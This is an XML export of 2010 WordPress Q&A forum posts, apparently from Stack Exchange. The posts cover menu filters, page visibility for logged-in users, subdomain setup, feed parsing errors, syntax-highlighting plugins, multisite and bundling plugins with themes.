  <row Id="2140" PostTypeId="2" ParentId="2139" CreationDate="2010-09-23T12:50:39.297" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried selecting it? Have you tried searching on the web for that phrase? It appears it is &lt;a href=&quot;http://2600hertz.wordpress.com/2010/04/19/this-post-is-super-awesome/&quot; rel=&quot;nofollow&quot;&gt;a little reward for the hard work&lt;/a&gt; you put in writing your posts.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-23T12:50:39.297" CommentCount="2" />
  <row Id="2141" PostTypeId="2" ParentId="2139" CreationDate="2010-09-23T12:52:56.277" Score="2" ViewCount="" Body="&lt;p&gt;Seems to be a WordPress.com feature that's enabled when you turn on &quot;fun mode&quot; in your &quot;Personal Settings&quot; admin page. According to &lt;a href=&quot;http://2600hertz.wordpress.com/2010/04/19/this-post-is-super-awesome/&quot; rel=&quot;nofollow&quot;&gt;the web&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When “This post is super-awesome” is checked and user click PUBLISH, then video snippets of scenes replete with whooping, high fiving, slamdunking and general celebration that might play. The Tiger Woods hole-in-one footage seemed off to me but there were some great clips.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Doesn't display anything for me, though.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-23T12:52:56.277" />
  <row Id="2142" PostTypeId="1" CreationDate="2010-09-23T13:59:45.860" Score="1" ViewCount="194" Body="&lt;p&gt;I've searched for plugins but while some do halfway accomplish the task they are normally very complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add option to the visibility menu when creating a page (and post, but page is more urgent).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ZRqGY.png&quot; alt=&quot;visibility menu wordpress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These options need to be: &lt;em&gt;&quot;Only visible to logged user&quot;&lt;/em&gt; and &lt;em&gt;&quot;Only visible to guest (i.e. not logged in&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any one know of plugin or and point me in the right direction to write my own?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; A use case for this is; only show the registration and login pages to 'guests'. A logged-in user doesn't need to see these pages.&lt;/p&gt;&#xA;" OwnerUserId="687" LastEditorUserId="687" LastEditorDisplayName="" LastEditDate="2010-09-24T07:22:30.580" LastActivityDate="2010-09-24T07:22:30.580" Title="Adding Visibility Options" Tags="&lt;plugins&gt;&lt;wp-admin&gt;" AnswerCount="2" />
  <row Id="2143" PostTypeId="1" AcceptedAnswerId="2144" CreationDate="2010-09-23T14:14:20.327" Score="1" ViewCount="2035" Body="&lt;p&gt;Thanks to some help on here, I've managed to add a custom search box to my main menu... by adding this to my theme's functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_nav_menu_items','search_box_function');&#xA;  function search_box_function ($nav){&#xA;  return $nav.&quot;&amp;lt;li class='menu-header-search'&amp;gt;&amp;lt;form action='http://example.com/' id='searchform' method='get'&amp;gt;&amp;lt;input type='text' name='s' id='s' placeholder='Search'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I've now added another menu to put in the footer, but the search box gets added to this one too. How would I add the search box to the primary menu only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code for registering the menus is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_nav_menus( array(&#xA;  'primary' =&amp;gt; __( 'Primary Navigation', 'twentyten' ),&#xA;  'secondary'=&amp;gt;__('Secondary Menu', 'twentyten' ),&#xA;&#xA; ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..and the code to display the secondary menu is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'secondary' ) ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="394" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-24T08:12:54.700" LastActivityDate="2010-09-24T08:12:54.700" Title="Customizing Only a Specific Menu using the &quot;wp_nav_menu_items&quot; Hook?" Tags="&lt;custom-menus&gt;&lt;search&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2144" PostTypeId="2" ParentId="2143" CreationDate="2010-09-23T14:36:08.437" Score="3" ViewCount="" Body="&lt;p&gt;To only add the custom search box to the main menu you could pass the second parameter provided by the wp_nav_menu_items filter and check if the theme_location is the primary location&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_nav_menu_items','search_box_function', 10, 2);&#xA;function search_box_function( $nav, $args ) {&#xA;    if( $args-&amp;gt;theme_location == 'primary' )&#xA;        return $nav.&quot;&amp;lt;li class='menu-header-search'&amp;gt;&amp;lt;form action='http://example.com/' id='searchform' method='get'&amp;gt;&amp;lt;input type='text' name='s' id='s' placeholder='Search'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;&#xA;    return $nav;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="580" LastActivityDate="2010-09-23T14:36:08.437" CommentCount="2" />
  <row Id="2145" PostTypeId="2" ParentId="2136" CreationDate="2010-09-23T14:52:22.663" Score="3" ViewCount="" Body="&lt;p&gt;When you're adding the wildcard subdomain, you need to make sure it is registered &lt;em&gt;last&lt;/em&gt; in your ANAME records.  Then make sure all of the static subdomains (&lt;code&gt;webmail.domainname.com&lt;/code&gt;, &lt;code&gt;cpanel.domainname.com&lt;/code&gt;, etc) appear before it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using wildcard subdomains, the server starts at the top of the list and works its way down.  If all you have listed is your &lt;code&gt;*&lt;/code&gt; subdomain, that will override the server's defaults (I'm assuming your static subdomains weren't explicitly set up before).  So you need to list the static ones first or you'll lose them.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-23T14:52:22.663" CommentCount="1" />
  <row Id="2146" PostTypeId="2" ParentId="2142" CreationDate="2010-09-23T16:52:12.747" Score="1" ViewCount="" Body="&lt;p&gt;I've actually done this before with a custom page template rather than with the visibility options ... because both logged in and not logged in users ended up going to the same page.  Here's some pseudo-code (i.e. do not actually use the code, but it will give you an idea)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$logged_in = is_user_logged_in();&#xA;&#xA;switch($logged_in) {&#xA;    case true:&#xA;        // Do stuff for logged in users&#xA;        break;&#xA;    case false:&#xA;    default:&#xA;        // Do stuff for not logged in users&#xA;        break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, you check to see if the user is logged in (using a combination of &lt;code&gt;get_currentuserdata()&lt;/code&gt; and some checks on their ID).  If the user is logged in, you display one block of content.  If the user is not logged in, you display another block of content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I definitely think having a visibility option would be a more elegant solution, but then you'd need two different pages for each kind of user.  Would a logged in user see a 404 error page if they went to the wrong site?  Or be directed elsewhere?  With two separate pages, this is a situation you'll have to handle gracefully.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-23T16:52:12.747" />
  <row Id="2147" PostTypeId="2" ParentId="675" CreationDate="2010-09-23T17:11:40.067" Score="0" ViewCount="" Body="&lt;p&gt;Is the RSS feed running through FeedBurner or coming right from WP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard that FeedBurner may get in the way of even your best laid plans to make this work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not just re-post (as in c-p) the old one into a new one, and put an [UPDATED] tag on it if your subscribers really need to see it?&lt;/p&gt;&#xA;" LastActivityDate="2010-09-23T17:11:40.067" />
  <row Id="2148" PostTypeId="1" CreationDate="2010-09-23T17:12:40.867" Score="2" ViewCount="122" Body="&lt;p&gt;on a wordpress site, I'd like visitors to be able to &quot;like&quot; or &quot;save&quot;  posts, so that they have a personalized page with all the posts they liked.&#xA;how could that be achieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="1000" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-09T19:04:53.650" LastActivityDate="2011-08-04T08:29:07.967" Title="How do I add Post Like and Bookmark Functionality to my WordPress Site?" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="2149" PostTypeId="2" ParentId="2116" CreationDate="2010-09-23T17:19:17.110" Score="0" ViewCount="" Body="&lt;p&gt;I would also check the permissions on the affected directories. It doesnt sound like thats the issue, but they have a habit of cropping up in WP&lt;/p&gt;&#xA;" LastActivityDate="2010-09-23T17:19:17.110" />
  <row Id="2150" PostTypeId="2" ParentId="2136" CreationDate="2010-09-23T17:19:25.503" Score="0" ViewCount="" Body="&lt;p&gt;you'll need to install the domain mapping plugin: &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also, check that the CNAME record exists (ask hosting support)&lt;/p&gt;&#xA;" OwnerUserId="1000" LastActivityDate="2010-09-23T17:19:25.503" CommentCount="1" />
  <row Id="2151" PostTypeId="2" ParentId="2142" CreationDate="2010-09-23T17:27:47.960" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/subscribers-only-content/&quot; rel=&quot;nofollow&quot;&gt;Subscribers Only Content&lt;/a&gt; plugin will accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-09-23T17:27:47.960" CommentCount="1" />
  <row Id="2152" PostTypeId="1" AcceptedAnswerId="2153" CreationDate="2010-09-23T17:59:31.080" Score="0" ViewCount="429" Body="&lt;p&gt;I have PHP errors redirected to log file. Only for WP installation so this definitely doesn't come from somewhere else. This is what started to come up recently (this is all of them, not cut):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[22-Sep-2010 14:30:41] junk after document element at line 2, column 0&#xA;[22-Sep-2010 16:17:08] junk after document element at line 2, column 0&#xA;[22-Sep-2010 17:19:42] junk after document element at line 2, column 0&#xA;[22-Sep-2010 18:30:19] junk after document element at line 2, column 0&#xA;[22-Sep-2010 20:19:23] junk after document element at line 2, column 0&#xA;[23-Sep-2010 14:51:40] junk after document element at line 2, column 0&#xA;[23-Sep-2010 15:54:33] junk after document element at line 2, column 0&#xA;[23-Sep-2010 17:23:02] junk after document element at line 2, column 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't really look like PHP error (&lt;em&gt;function blah-blah failed at line x&lt;/em&gt;), they are very infrequent and don't seem to be tied to page loads (maybe to some cron event?) and there hadn't been any major configuration changes in months other than keeping plugins up to date and one or two new ones (days before this started).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling results are mostly about XML parsing... Of which WP probably does plenty (feeds, updates, what else?..) but how to pinpoint what is going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has me really puzzled.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-23T18:48:43.320" LastActivityDate="2010-09-23T18:48:43.320" Title="What might cause &quot;junk after document element&quot; error?" Tags="&lt;errors&gt;&lt;php&gt;&lt;feed&gt;" AnswerCount="2" />
  <row Id="2153" PostTypeId="2" ParentId="2152" CreationDate="2010-09-23T18:07:15.107" Score="1" ViewCount="" Body="&lt;p&gt;A quick Google search confirmed your suspicion ... this is likely an XML parsing error.  Furthermore, &lt;a href=&quot;http://wordpress.org/support/topic/junk-after-document-element-breaking-feed?replies=3&quot; rel=&quot;nofollow&quot;&gt;some discussion on the forums&lt;/a&gt; suggests it's caused by script insertion after a closing &lt;code&gt;&amp;lt;/rss&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is an inserted script, this is likely the result of a hack or an attack on your site or host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is &lt;a href=&quot;http://stackoverflow.com/questions/1364101/xml-parsing-error-junk-after-document-element&quot;&gt;a PHP error in the RSS-generation script&lt;/a&gt;.  PHP would return the error in-line, and the error message, being non-XML, would be read as &quot;junk&quot; by the XML parser.  This could also be the result of a feed your site is trying to read (i.e. on the admin dashboard), not necessarily a feed you're generating.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-23T18:07:15.107" CommentCount="2" />
  <row Id="2155" PostTypeId="2" ParentId="2152" CreationDate="2010-09-23T18:46:55.930" Score="0" ViewCount="" Body="&lt;p&gt;Solved. External feed idea was correct, figuring out feed was slightly more complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had installed &lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;Core Control&lt;/a&gt; plugin and enabled log of HTTP requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it was just sitting and waiting until error re-occurs and checking which feed was downloaded at exactly same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subject feed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;belonged to one of recently installed plugins;&lt;/li&gt;&#xA;&lt;li&gt;was fried dead with PHP fatal error instead of content.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And &lt;a href=&quot;http://feedvalidator.org/&quot; rel=&quot;nofollow&quot;&gt;feed validator&lt;/a&gt; was giving exact match on it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;line 1, column 0: Undefined root element: br&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;line 2, column 0: XML parsing error: :2:0: junk after document element&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;PS I am not sure which answer better to accept, this with exact solution or EAMann's with ideas and discussion? Edit: can't accept my own for two days anyway, that one it is.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-23T18:46:55.930" />
  <row Id="2156" PostTypeId="1" AcceptedAnswerId="2158" CreationDate="2010-09-23T19:33:58.637" Score="3" ViewCount="140" Body="&lt;p&gt;The free wordpress blogs (those hosted at wordpress.com) have a build in code formatting plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get this on private installs of wordpress? I've copied all my posts across but the code formatting feature doesn't work out of the box&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm primarily looking for Java syntax highlighting&lt;/p&gt;&#xA;" OwnerUserId="763" LastActivityDate="2010-09-24T06:08:45.337" Title="Code markup plugin like the .wordpress.com blogs offer?" Tags="&lt;plugins&gt;" AnswerCount="3" />
  <row Id="2157" PostTypeId="2" ParentId="2156" CreationDate="2010-09-23T19:40:41.807" Score="3" ViewCount="" Body="&lt;p&gt;I use a plug-in called &lt;a href=&quot;http://wordpress.org/extend/plugins/codecolorer/&quot; rel=&quot;nofollow&quot;&gt;Code Colorer&lt;/a&gt; that dynamically formats my code blocks and highlights syntax where appropriate.  I use it for PHP, C#, and JavaScript, but it also works for Java.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-23T19:40:41.807" CommentCount="1" />
  <row Id="2158" PostTypeId="2" ParentId="2156" CreationDate="2010-09-23T19:47:02.643" Score="3" ViewCount="" Body="&lt;p&gt;This is the plugin used on WordPress.com: &lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/syntaxhighlighter/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-23T19:47:02.643" />
  <row Id="2159" PostTypeId="2" ParentId="1516" CreationDate="2010-09-23T20:15:58.963" Score="0" ViewCount="" Body="&lt;p&gt;This might be of help. According to the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;function reference&lt;/a&gt;, you can &quot;define custom taxonomies in a themes's functions.php template file.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this could work regardless of whether you're on a multi-site install or not (though, if I recall how multisites are setup, it might be slightly easier to share the templates across all blogs).&lt;/p&gt;&#xA;" OwnerUserId="1008" LastActivityDate="2010-09-23T20:15:58.963" />
  <row Id="2160" PostTypeId="2" ParentId="1753" CreationDate="2010-09-23T20:21:34.217" Score="0" ViewCount="" Body="&lt;p&gt;If I recall reading right, essentially &quot;the loop&quot; is doing WP_Queries in the core files, but in an easier to understand way.&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2010-09-23T20:21:34.217" CommunityOwnedDate="2010-09-23T20:21:34.217" />
  <row Id="2161" PostTypeId="2" ParentId="1516" CreationDate="2010-09-23T20:26:09.470" Score="2" ViewCount="" Body="&lt;p&gt;My recommendation would be to place the code that defines your custom taxonomies into a plug-in and activate the plug-in site wide.  This will cause the new taxonomies to become active on &lt;em&gt;all&lt;/em&gt; the sites in your network.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-23T20:26:09.470" CommentCount="1" />
  <row Id="2162" PostTypeId="1" CreationDate="2010-09-23T20:31:24.720" Score="4" ViewCount="172" Body="&lt;p&gt;I have a WordPress site at domain.com and a BBPress install at domain.com/subfolder&#xA;the wp site has a menu item that goes to the forums, and I'd like the header to be the same between the two, so that they can navigate back to the main site.&#xA;how can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="1000" LastEditorUserId="1521" LastEditorDisplayName="" LastEditDate="2011-02-25T21:46:04.497" LastActivityDate="2011-06-20T03:07:09.523" Title="Seamless integration between WordPress and BBpress" Tags="&lt;customization&gt;&lt;bbpress&gt;" AnswerCount="4" />
  <row Id="2164" PostTypeId="1" AcceptedAnswerId="2184" CreationDate="2010-09-23T22:49:25.673" Score="0" ViewCount="400" Body="&lt;p&gt;Been reading this site and Wordpress Codex and I see there is a function to enable custom type of pages in Wordpress. How can I do the same to enable for Pages ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or at least get the options for the posts to appear for placing the posts under Pages ?&lt;/p&gt;&#xA;" OwnerUserId="996" LastActivityDate="2010-09-24T14:34:45.133" Title="register_post_type for Pages?" Tags="&lt;functions&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="2165" PostTypeId="2" ParentId="2162" CreationDate="2010-09-24T05:21:18.193" Score="2" ViewCount="" Body="&lt;p&gt;As far as I know there is no easy way to do that. The only way I've seen so far is customizing WP and BBPress themes to match. For example &lt;a href=&quot;http://themehybrid.com/&quot; rel=&quot;nofollow&quot;&gt;http://themehybrid.com/&lt;/a&gt; (WordPress) and &lt;a href=&quot;http://themehybrid.com/support/&quot; rel=&quot;nofollow&quot;&gt;http://themehybrid.com/support/&lt;/a&gt; (BBPress).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-24T05:21:18.193" CommentCount="2" />
  <row Id="2166" PostTypeId="1" AcceptedAnswerId="2167" CreationDate="2010-09-24T05:36:38.803" Score="0" ViewCount="61" Body="&lt;p&gt;i am running &lt;a href=&quot;http://article-stack.com&quot; rel=&quot;nofollow&quot;&gt;http://article-stack.com&lt;/a&gt;.&#xA;I want to create a separate blog say help.article-stack.com. Again, it should have 2 portion. One for discussion and another for information. I am planning to install wordpress in 2 more direcotries. Both will have separate database.&#xA;Tell me is you have some better solution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be helpful if you can suggest me some free theme for discussion. I am aware with twitter like theme p2. But it is not suitable for me. I want stackexchange type of site. So if someone helps others they must get their credit. It helps to motivate them and others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2010-09-24T06:04:35.407" Title="i want multiple blog, themes and database" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="2167" PostTypeId="2" ParentId="2166" CreationDate="2010-09-24T06:04:35.407" Score="1" ViewCount="" Body="&lt;p&gt;Since version 3.0 capabilities to run multiple site on single installation had been included in WordPress core. See &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;Create A Network&lt;/a&gt; in documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have nothing to suggest on theme and I advise to split that part in separate question.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-24T06:04:35.407" />
  <row Id="2168" PostTypeId="2" ParentId="2156" CreationDate="2010-09-24T06:08:45.337" Score="1" ViewCount="" Body="&lt;p&gt;I used Code highlighter plug-in( &lt;a href=&quot;http://ideathinking.com/wiki/index.php/WordPress:CodeHighlighterPlugin&quot; rel=&quot;nofollow&quot;&gt;http://ideathinking.com/wiki/index.php/WordPress:CodeHighlighterPlugin&lt;/a&gt;) on my blog. It is quote basic in case you do not need many controls hovering on your highlighted code when you hover on code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another I tried later is Syntax Highlighter, same as suggested by sorich87 above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is more colorful and provide many controls like copying code , printing etc.&lt;/p&gt;&#xA;" OwnerUserId="1010" LastActivityDate="2010-09-24T06:08:45.337" />
  <row Id="2169" PostTypeId="2" ParentId="2162" CreationDate="2010-09-24T06:43:46.843" Score="1" ViewCount="" Body="&lt;p&gt;Matt agrees that it is important (see &lt;a href=&quot;http://bbpress.org/blog/2010/07/wordpress-integration/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a rumor I've heard, there is a plan to release bbpress as a WordPress plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would wait the fence on this one until it is done.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-09-24T06:43:46.843" CommentCount="1" />
  <row Id="2170" PostTypeId="2" ParentId="1900" CreationDate="2010-09-24T07:04:09.110" Score="0" ViewCount="" Body="&lt;p&gt;Same question at wordpress support forum &lt;a href=&quot;http://wordpress.org/support/topic/putting-a-link-in-an-image-caption&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/putting-a-link-in-an-image-caption&lt;/a&gt; .. see if these work around work for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of Luck.&lt;/p&gt;&#xA;" OwnerUserId="1010" LastActivityDate="2010-09-24T07:04:09.110" />
  <row Id="2171" PostTypeId="1" AcceptedAnswerId="2186" CreationDate="2010-09-24T07:19:29.173" Score="0" ViewCount="4120" Body="&lt;p&gt;What are the major pros/cons that can help in deciding which of the two to choose: WAMP vs XAMPP for running a local testing server for WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s: I now see &lt;a href=&quot;http://stackoverflow.com/questions/105546/xampp-and-wamp-in-the-lamp-whats-the-best&quot;&gt;stackoverflow had a discussion&lt;/a&gt; about it.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditorDisplayName="" LastEditDate="2010-09-25T07:15:29.090" LastActivityDate="2011-05-22T22:53:16.267" Title="WAMP vs XAMPP pros/cons - for running a local testing server?" Tags="&lt;server&gt;&lt;xampp&gt;&lt;local-installation&gt;" AnswerCount="6" CommentCount="1" />
  <row Id="2172" PostTypeId="2" ParentId="1050" CreationDate="2010-09-24T07:58:01.560" Score="2" ViewCount="" Body="&lt;p&gt;I've published a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/widgets-on-pages/&quot; rel=&quot;nofollow&quot;&gt;Widgets on Pages&lt;/a&gt; which allows easy definition and inline inclusion of widgets inside posts and pages. I think this would be of help&lt;/p&gt;&#xA;" LastActivityDate="2010-09-24T07:58:01.560" />
  <row Id="2173" PostTypeId="1" AcceptedAnswerId="2177" CreationDate="2010-09-24T10:44:27.247" Score="3" ViewCount="56" Body="&lt;p&gt;I remember seeing a plugin that helps with the translation of other plugins. Anyone remember the name of that plugin? Thanks. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2010-09-24T13:20:28.563" Title="Is there a plugin to help with translation of other plugins?" Tags="&lt;plugins&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="2174" PostTypeId="1" AcceptedAnswerId="2185" CreationDate="2010-09-24T11:04:47.267" Score="2" ViewCount="114" Body="&lt;p&gt;I'm working on a theme that includes some functionality I've developed as separate plugins (as I'm hoping to release them independently).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to include these plugins as part of the theme core and I've noticed that some developers include plugins as files or subdirectories along with their theme, but over time that can ultimately lead to maintaining two versions of the same plugin - one for the plugin repository, one for the theme - but I'd like to avoid that, if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best practice for including plugins as part of a theme?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2010-09-24T14:30:00.057" Title="Best practice for including plugins as part of a theme?" Tags="&lt;theme-development&gt;&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="2175" PostTypeId="2" ParentId="2173" CreationDate="2010-09-24T11:07:14.190" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;You can manage and edit all gettext translation files (*.po/*.mo) directly out of WordPress Admin Center without any need of an external editor. &lt;a href=&quot;http://wordpress.org/extend/plugins/codestyling-localization/&quot; rel=&quot;nofollow&quot;&gt;Codestyling Localization&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-24T11:55:20.473" LastActivityDate="2010-09-24T11:55:20.473" />
  <row Id="2176" PostTypeId="1" CreationDate="2010-09-24T11:11:17.847" Score="0" ViewCount="268" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://wpml.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress MultiLanguage Plugin&lt;/a&gt; and I want to know what is the language of a specific element, page or post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have the &lt;code&gt;id&lt;/code&gt; but I want to obtain the language.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2010-09-24T13:20:29.560" Title="How can I get the page or post language when I use wpml?" Tags="&lt;php&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2177" PostTypeId="2" ParentId="2173" CreationDate="2010-09-24T11:16:06.463" Score="3" ViewCount="" Body="&lt;p&gt;Over years I tried and used lots of wordpress multilanguge solutions and at this moment the &lt;a href=&quot;http://wpml.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress MultiLanguage&lt;/a&gt; plugin (WPML) seams to be the best. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the features supported is the translations of the plugins.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2010-09-24T11:16:06.463" />
  <row Id="2178" PostTypeId="2" ParentId="2174" CreationDate="2010-09-24T11:16:23.513" Score="1" ViewCount="" Body="&lt;p&gt;Basically you have three possible cases:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;theme and plugin both installed;&lt;/li&gt;&#xA;&lt;li&gt;only theme is installed;&lt;/li&gt;&#xA;&lt;li&gt;only plugin is installed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Take in account which is more likely to get updated:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;repository-hosted plugin - likely;&lt;/li&gt;&#xA;&lt;li&gt;repository-hosted theme - likely;&lt;/li&gt;&#xA;&lt;li&gt;not repository-hosted theme or plugin - unlikely;&lt;/li&gt;&#xA;&lt;li&gt;child theme - highly unlikely (can't be hosted in repository, manual merge of changes because it's meant to be customized by end-user).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So overall it is good idea to keep code same (similar, if not identical) and load it in theme conditionally when plugin is not present. Because as it is now plugins are both easier and more common to update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously theme must be able to make use of bundled or separate plugin either and plugin shouldn't depend on code from theme at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best (but complex practice) is building your extensions as context-independent (aka framework) and use custom loader to check for versions and load latest available. For practical example of framework approach see &lt;a href=&quot;http://wordpress.org/extend/plugins/scb-framework/&quot; rel=&quot;nofollow&quot;&gt;scbFramework&lt;/a&gt; which is both distributed as separate plugin and used in multiple other plugins.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-24T11:16:23.513" />
